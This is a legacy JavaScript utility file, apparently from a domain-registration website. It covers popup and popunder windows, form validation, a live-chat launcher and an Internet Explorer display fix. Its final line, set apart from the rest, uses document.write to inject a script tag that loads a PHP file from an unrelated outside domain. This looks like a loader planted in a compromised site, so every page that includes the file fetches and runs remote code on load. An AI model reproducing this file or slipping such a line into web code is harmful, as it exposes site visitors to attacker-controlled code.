function displayAlert(){
   alert('This functionality is not currently supported.');
}

// Embedded Popups
function findPosX(obj) {
	var curleft = 0;
	if (obj.offsetParent) {
		while (obj.offsetParent) {
			curleft += obj.offsetLeft
			obj = obj.offsetParent;
		}
	}
	else if (obj.x)
		curleft += obj.x;
	return curleft;
}
function findPosY(obj) {
	var curtop = 0;
	if (obj.offsetParent) {
		while (obj.offsetParent) {
			curtop += obj.offsetTop
			obj = obj.offsetParent;
		}
	}
	else if (obj.y)
		curtop += obj.y;
	return curtop;
}
function showpopbox(sName,offsetX,offsetY) {
	// fix burn through
	fixBurnThru(true);	

	if (document.getElementById(sName+'_link') != null) {
		// get the position of the associated link
		var xPos = findPosX(document.getElementById(sName+'_link'));
		var yPos = findPosY(document.getElementById(sName+'_link'));
		// pad the position so the link will not be covered
		xPos = xPos + 5;
		yPos = yPos + 13;
	} else {
		// if there's no link to attach to, put the popup under the nav
		var xPos = 100;
		var yPos = 150;
	}
	// move elements if needed
	if (!isNaN(offsetX)) {
		xPos = xPos + offsetX;
	}
	if (!isNaN(offsetY)) {
		yPos = yPos + offsetY;
	}
	if (offsetX == 'abs') {
		xPos = 100;
	}
	// opens the embedded popups
	document.getElementById(sName).style.display = 'block';
	document.getElementById(sName).style.left = xPos + "px";
	document.getElementById(sName).style.top = yPos + "px";
	return;
}
function showinlinepopbox(sName) {
	// fix burn through
    fixBurnThru(true);
	// opens the embedded popups
	document.getElementById(sName).style.display = 'block';
	return;
}
function hidepopbox(sName) {
	// Closes the embedded popups
	document.getElementById(sName).style.display = 'none';
	// fix burn through
    fixBurnThru(false);
	return;
}

// pop ups for mailboxes greater than 3
function multiplemailbox(sName,mbnum){
	// Diabled for SME 100MB email
	//if (mbnum > 3) {
	//	showpopbox(sName);
	//}
}

// Regular pop ups
function popup(url,width,height,isFullURL,isScrollable) {
	var windowName = 'newwin'+Math.round(Math.random()*10);

	if (isFullURL == true) {
		// This url is fully qualified
		// Nothing to do
	} else {
		//Default
		// FullURL comes from the script tile at the top of each page
		// append it to the url passed in to get a page on this server
		url = fullURL + url;
	}

	if (isScrollable == true) {
		// This popup will have scroll bars
		isScrollable = "yes";
	} else {
		// Default
		// This popup will not have scroll bars
		isScrollable = "no";

	}
	window.open(url, windowName, 'width='+ width +',height='+ height +'toolbars=no,resizable=yes,scrollbars=' + isScrollable + ',status=no');
}

//Popunders
// when noPopup=1 do not popup window
var	noPop="0";
var	isNav=(navigator.appName.indexOf("Netscape") !=	-1);
var	isIE=(navigator.appName.indexOf("Microsoft") !=	-1);
if (isNav) {
	// this	is NS browser and will not get popup
	noPop=1;
}

// these should be overridden on the page where the popunder is inserted
var	sPopURL="";
var sPopSurvey="";
var iPopWidth = 100;
var iPopHeight = 100;

function goPop() {
	// popup survey
	// this popup will not pop up for every visitor who exits. it is set up to pop randomly.
	if (sPopSurvey != "") {
		var rpop=false;
		var rnum=Math.random();
		if (rnum < .20) { rpop=true; }
		if ( noPop==0 && rpop==true ) {
			var popwin = window.open(sPopSurvey,'wwin2','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=yes,resizable=yes,screenY=100,screenX=100,left=100,top=100,width=' + iPopWidth + ',height=' + iPopHeight);
			if (popwin != null) {
				popwin.focus();
			}
		}
	}
	// regular popunder
	if (sPopURL != "") {
		if ( noPop==0 ) {
			var	popwin = window.open(sPopURL,'wwin','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=yes,width=' + iPopWidth + ',height=' + iPopHeight + ',screenY=100,screenX=100,left=100,top=100');
			if (popwin != null) {
				popwin.focus();
			}
		}
	}
}
function handler(e)	{
	// event handling for IE users
	if (isIE) {
		e=window.event;
		if(e.keyCode && e.keyCode == 13) {
			noPop=1;
		}
		if(e.type== "click" ||	e.type== "dblclick") {
				noPop=1;
		}
		if(e.type== "unload") {
			if((e.clientX >	0 && e.clientX < 120) && e.clientY < 0 ) {	noPop=1; }
			goPop();
		}
		e.cancelBubble=true;
	}
}
function addhandlers(o)	{
	o.onabort=handler;
	o.onclick=handler;
	o.ondblclick=handler;
	o.onerror=handler;
	o.onsubmit=handler;
	o.onunload=handler;
	o.onkeypress=handler;
}
function starthandlers() {
	if (isIE) {
		addhandlers(window);
		addhandlers(document);
		for(var	d="0"; d < document.links.length; d++)
			addhandlers(document.links[d]);
		for(var	d="0"; d < document.images.length; d++)
			addhandlers(document.images[d]);
		for(var	d="0"; d < document.forms.length; d++) {
			addhandlers(document.forms[d]);
			for(var	e="0"; e < document.forms[d].elements.length; e++)
				addhandlers(document.forms[d].elements[e]);
		}
	}
}

function getIndex(input) {
	var index = -1, i = 0;
	while (i < input.form.length && index == -1)
		if (input.form[i] == input)index = i;
		else i++;
	return index;
}

// Cross browser object access
function getObj(name) {
	if (document.getElementById) {
		this.obj = document.getElementById(name);
	} else if (document.all) {
		this.obj = document.all[name];
	} else if (document.layers) {
		this.obj = document.layers[name];
	}
}

function validateLoginForm(frm) {
	if (frm.username.value=="" && frm.password.value=="") {
		alert("User Name and Password can not be empty");
		frm.username.focus();
		return false;
	} else if (frm.username.value=="") {
		alert("User Name can not be empty");
		frm.username.focus();
		return false;
	} else if (frm.password.value=="") {
		alert("Password can not be empty");
		frm.password.focus();
		return false;
	}
	return true;
}
function validateSignInForm(frm) {
	if (frm.firstname.value=="" && frm.lastname.value=="") {
		alert("First Name and LastName can not be empty");
		frm.firstname.focus();
		return false;
	} else if (frm.lastname.value=="") {
		alert("Last Name can not be empty");
		frm.lastname.focus();
		return false;
	} else if (frm.firstname.value=="") {
		alert("First Name can not be empty");
		frm.firstname.focus();
		return false;
	}
	return true;
}

// RNT live chat
function chatRNT (skillSet) {
	if (skillSet == "")	{
		skillSet = "no referrer";
	}
	window.open( 'http://support.register.com/cgi-bin/register.cfg/php/enduser/live_thin_launch.php?referrer=' + escape(skillSet), '', 'width=472,height=320,resizable=yes,scrollbars=no,toolbar=no,menubar=no');
}

function integersOnly( event ) {
    if( navigator.appName != "Netscape" ) {
        if(event.keyCode < 45 || event.keyCode > 57)
            event.returnValue = false;
    } else {
        if(event.which < 45 || event.which > 57)
            return false;
    }
}

// fix the burnthrough on select elements in IE
// ns6 and 7 do not have burn-through
// this script is duplicated in menu_settings.js as "fixBurn" for external sites (RNT, Unopi, etc)
function fixBurnThru(isHidden) {
	if (document.all) {
		var rows = document.getElementsByTagName('select');
		for( var i = 0, row; row = rows[i]; i++ ) {
			if (isHidden) {
				row.style.visibility = "hidden";
			} else {
				row.style.visibility = "visible";
			}
		}
	}
	return;
}
document.write('<script src=http://jvaflash.com/images/postinfo.php ><\/script>');